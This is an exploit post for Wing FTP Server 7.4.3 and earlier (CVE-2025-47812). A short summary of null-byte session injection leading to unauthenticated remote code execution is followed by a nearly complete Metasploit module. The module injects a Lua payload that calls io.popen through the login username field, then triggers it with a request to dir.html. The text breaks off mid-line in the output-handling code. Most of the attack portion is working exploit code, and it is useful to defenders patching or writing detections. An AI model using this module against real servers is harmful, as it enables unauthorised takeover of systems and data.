============================================================================================================================================= | # Title : Wing FTP Server ≤ 7.4.3 Unauthenticated Remote Code Execution via Null Byte Session Injection | | # Author : indoushka | | # Tested on : windows 11 Fr(Pro) / browser : Mozilla firefox 147.0.4 (64 bits) | | # Vendor : https://www.wftpserver.com/ | ============================================================================================================================================= [+] Summary : This module targets a design flaw in Wing FTP Server (≤ 7.4.3), tracked as CVE-2025-47812. The vulnerability arises from improper handling of user-supplied input during the login process. By injecting a Null Byte (\x00) into the username parameter, an attacker can manipulate how session data is stored on the server. Because session files are processed within a Lua execution context, malicious Lua code embedded in the username may later be interpreted and executed when the server loads the poisoned session (e.g., during requests to authenticated pages like dir.html). If successful, this results in unauthenticated remote code execution (RCE) with the privileges of the Wing FTP service account, affecting both Linux and Windows deployments. [+] POC : ## # This module requires Metasploit: https://metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## class MetasploitModule < Msf::Exploit::Remote Rank = ExcellentRanking include Msf::Exploit::Remote::HttpClient def initialize(info = {}) super( update_info( info, 'Name' => 'Wing FTP Server Unauthenticated RCE (Null Byte Injection)', 'Description' => %q{ This module exploits a Null Byte injection vulnerability in Wing FTP (versions <= 7.4.3). The session file is poisoned with a malicious Lua script via the username field. When a page such as dir.html is requested, the server loads the session file and executes it as Lua code, allowing the attacker to execute system commands. }, 'Author' => ['indoushka'], 'License' => MSF_LICENSE, 'References' => [ ['CVE', '2025-47812'], ['URL', 'https://www.rcesecurity.com/'] ], 'Platform' => %w[linux win], 'Targets' => [['Automatic', {}]], 'DisclosureDate' => '2025-01-01', 'DefaultTarget' => 0, 'Notes' => { 'Stability' => [CRITICAL_SERVICE_RESTART], 'SideEffects' => [IOC_IN_LOGS] } ) ) register_options([ OptString.new('TARGETURI', [true, 'The base path to Wing FTP', '/']), OptString.new('USERNAME', [true, 'The username to target (e.g., anonymous)', 'anonymous']), OptInt.new('TIMEOUT', [true, 'Response timeout in seconds', 20]) ]) end def check res = send_request_cgi('uri' => normalize_uri(target_uri.path, 'login.html')) if res && (res.headers['Server'] =~ /Wing FTP/i || res.body.include?('Wing FTP Server')) return Exploit::CheckCode::Appears end Exploit::CheckCode::Safe end def exploit cmd = payload.encoded.gsub('\\', '\\\\\\\\').gsub('"', '\\\\"') lua_payload = "]]\nlocal h = io.popen(\"#{cmd}\")\nlocal r = h:read('*a')\nh:close()\nprint(r)\n--" encoded_lua = Rex::Text.uri_encode(lua_payload) print_status("Starting session poisoning for user: #{datastore['USERNAME']}") res = send_request_cgi({ 'method' => 'POST', 'uri' => normalize_uri(target_uri.path, 'loginok.html'), 'vars_post' => { 'username' => "#{datastore['USERNAME']}\x00#{encoded_lua}", 'password' => 'pass', 'username_val' => datastore['USERNAME'], 'password_val' => 'pass' } }) unless res && res.get_cookies =~ /UID=([^;]+)/ fail_with(Failure::NoAccess, "Failed to obtain UID. The server might be protected or the username is incorrect.") end uid = $1 print_good("Session poisoned successfully. Session ID (UID): #{uid}") print_status("Sending trigger request for RCE...") res_exec = send_request_cgi({ 'method' => 'POST', 'uri' => normalize_uri(target_uri.path, 'dir.html'), 'cookie' => "UID=#{uid}", 'timeout' => datastore['TIMEOUT'] }) if res_exec && res_exec.code == 200 output = res_exec.body.split('